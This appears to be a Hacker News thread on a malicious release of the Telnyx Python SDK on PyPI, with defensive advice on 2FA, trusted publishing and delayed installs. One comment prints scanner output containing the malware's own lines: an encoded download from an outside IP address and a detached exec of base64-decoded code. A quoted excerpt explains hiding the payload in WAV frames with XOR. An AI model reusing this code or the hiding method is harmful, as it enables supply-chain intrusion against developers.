49 comments

[ 3.4 ms ] story [ 78.1 ms ] thread
We haven't blogged this yet, but a variety of teams found this in parallel.

The packages are quarantined by PyPi

Follow the overall incident: https://ramimac.me/teampcp/#phase-10

Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

ReversingLabs, JFrog also made parallel reports

Ramimac, has there been any action on having the c2 server's ip address being blacklisted?

The blast radius of TeamPCP just keeps on increasing...

I'm glad there's many teams with automated scans of pypi and npm running. It elevates the challenge of making a backdoor that can survive for any length of time.
Shoutouts to all the real engineers who use a generic http client to call APIs and weren't impacted by this.
Anthropic/OpenAI could own this space. They should offer a paid service that offers a mirror with LLM scanned and sandbox-evaluated package with their next gen models. Free for individuals, orgs can subscribe to it.
Telnyx provides voice capabilities for OpenClaw for those wondering.
They did not even try to hide the payload that much.

Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.

  hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip  --min-confidence high  --exclude HX4000

  warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
  86:13
       │
  7783 │         except:
  7784 │             pass
  7785 │
  7786 │         r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
       │             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
  7787 │         with urllib.request.urlopen(r, timeout=15) as d:
  7788 │             with open(t, "wb") as f:
  7789 │                 f.write(d.read())
       │
       = Confidence: High
         Help: Data exfiltration is the unauthorized transfer of data from a computer.


  warning[HX4010]: Execution of obfuscated code.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
  10:9
       │
  7807 │       if os.name == 'nt':
  7808 │           return
  7809 │       try:
  7810 │ ╭         subprocess.Popen(
  7811 │ │             [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
  7812 │ │             stdout=subprocess.DEVNULL,
  7813 │ │             stderr=subprocess.DEVNULL,
  7814 │ │             start_new_session=True
  7815 │ │         )
       │ ╰─────────^ HX4010
  7816 │       except:
  7817 │           pass
  7818 │
       │
       = Confidence: VeryHigh
         Help: Obfuscated code exec can be used to bypass detection.
Is there a notification channel you can subscribe to / look at if you want to stay up to date on compromised PyPI packages?
At this point, I'm not updating anything using Python.

Not that I had the option anyway, because everything using Python breaks if you update it. You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation. Apparently it's also needed for security, but the VMs aren't really set up to be secure.

I don't get why everything math heavy uses it. I blame MATLAB for being so awful that it made Python look good.

It's not even the language itself, not that it doesn't have its own issues, or the inefficient way it's executed, but the ecosystem around it is so made out of technical debt.

> The payload isn't delivered as a raw binary or a Python file. It's disguised as a .wav audio file.

> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.

Talk about burying the lede.

2FA needs to be required for publishing packages. An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want.
I think it's only a matter of time at this point before a devastating supply chain attack occurs.

Supply-chain security is such a dumpster fire, and threat actors are realising that they can use LLMs to organize such attacks.

Not sure what you mean by devastating, but supply chain attacks occur pretty much daily worldwide and LLMs have been used by attackers since multiple years at that point. Defending against supply chain threats is a pretty hard area to iterate and things are slow to change. For example pypi only supports trusted publishers since 2023 IIRC, and lots of large companies are still not consistently using that option
The way I use Telynx is via SIP which is an open protocol. No reason we should be relying on proprietary APIs for this stuff.

On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python.

Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.

That's not good. Time to raise the package security draw bridge on vibe coders.
Has anyone here used Telnyx? I tried to build a product against their API last year and 3 weeks after signing up they banned my account and made it impossible to get an answer as to why or re-enable it.
I tried, but they used some 3rd party KYC platform whose country selection dropdown seemed to have every country except Finland (even Åland, a region of Finland, was there).

Support wasn't helpful.

Went with Twilio instead.

I believe Telnyx and Twilio nuked every small or personal accounts at some point because they couldn't risk those being used for spam or scams. There might have been some real risks for them, IDK.

But it is ironic that now Telnyx brand itself as an AI company but they couldn't detect that I am just calling some family once in a while and not involved in massive spam campaign.

The only one who kept me around was voip.ms but it literally doesn't work.

I am still looking for a decent VoIP provider to simply make calls.

For those using uv, you can at least partially protect yourself against such attacks by adding this to your pyproject.toml:

  [tool.uv]
  exclude-newer = "7 days"
or this to your ~/.config/uv/uv.toml:

  exclude-newer = "7 days"
This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you install it.
if everyone waited a week, then everyb would still be installing it it the same time for the first time. This is not a solution.
We have always been API first rather than SDK first.

Never really thought too much about the security implications but that is of course a benefit too.

Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.

(comment deleted)
I used to use Telnyx many years ago, but was squeezed out when they started adding layer after layer of mandatory identity verification. Nope.
Hah, need to setup a Grandstream HT801 this weekend and this cements my decision to use voip.ms vs telnyx. Not that the device would use that library (have no idea), but just, yeah generally, it's a good cue to stay away for me.
Is this happening in part due to the sheer volume of pull-requests with AI generated code.. things are slipping through?
The telnyx SDKs aren’t AI generated code. The issue here was a pypi account compromise
Is there anyone who uses it? I see their repo's Initial Commit was on Jan 2026... quite a new package! Also, the number of GitHub stars and forks is quite low.

Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?

> The Telnyx platform, APIs, and infrastructure were not compromised. This incident was limited to the PyPI distribution channel for the Python SDK.

Am I being too nitpicky to say that that is part of your infrastructure?

Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?

No. I was one of the "lucky" ones forced to use 2FA from the beginning.

I also wrote the twine manpage (in debian) because at the time there was even no way of knowing how to publish at all.

Basically you enable 2FA on your account, go on the website, generate a token, store it in a .txt file and use that for the rest of your life without having to use 2FA ever again.

I had originally thought you'd need your 2FA every upload but that's not how it works.

Then they have the trusted publisher thing (which doesn't and won't work with codeberg) where they just upload whatever comes from github's runners. Of course if the developer's token.txt got compromised, there's a chance also his private ssh key to push on github got compromised and the attackers can push something that will end up on pypi anyway.

Remember that trusted publishing replaces GPG signatures, so the one thing that required unlocking the private key with a passphrase is no longer used.

python.org has also stopped signing their releases with GPG in favour to sigstore, which is another 3rd party signing scheme somewhat similar to trusted publisher.

edit: They deny this but my suspicion is that eventually tokens won't be supported and trusted publishing will be the only way to publish on pypi, locking projects out of using codeberg and whatever other non-major forge they might wish to use.

I received an email from them about the vulnerability but I don't remember ever using them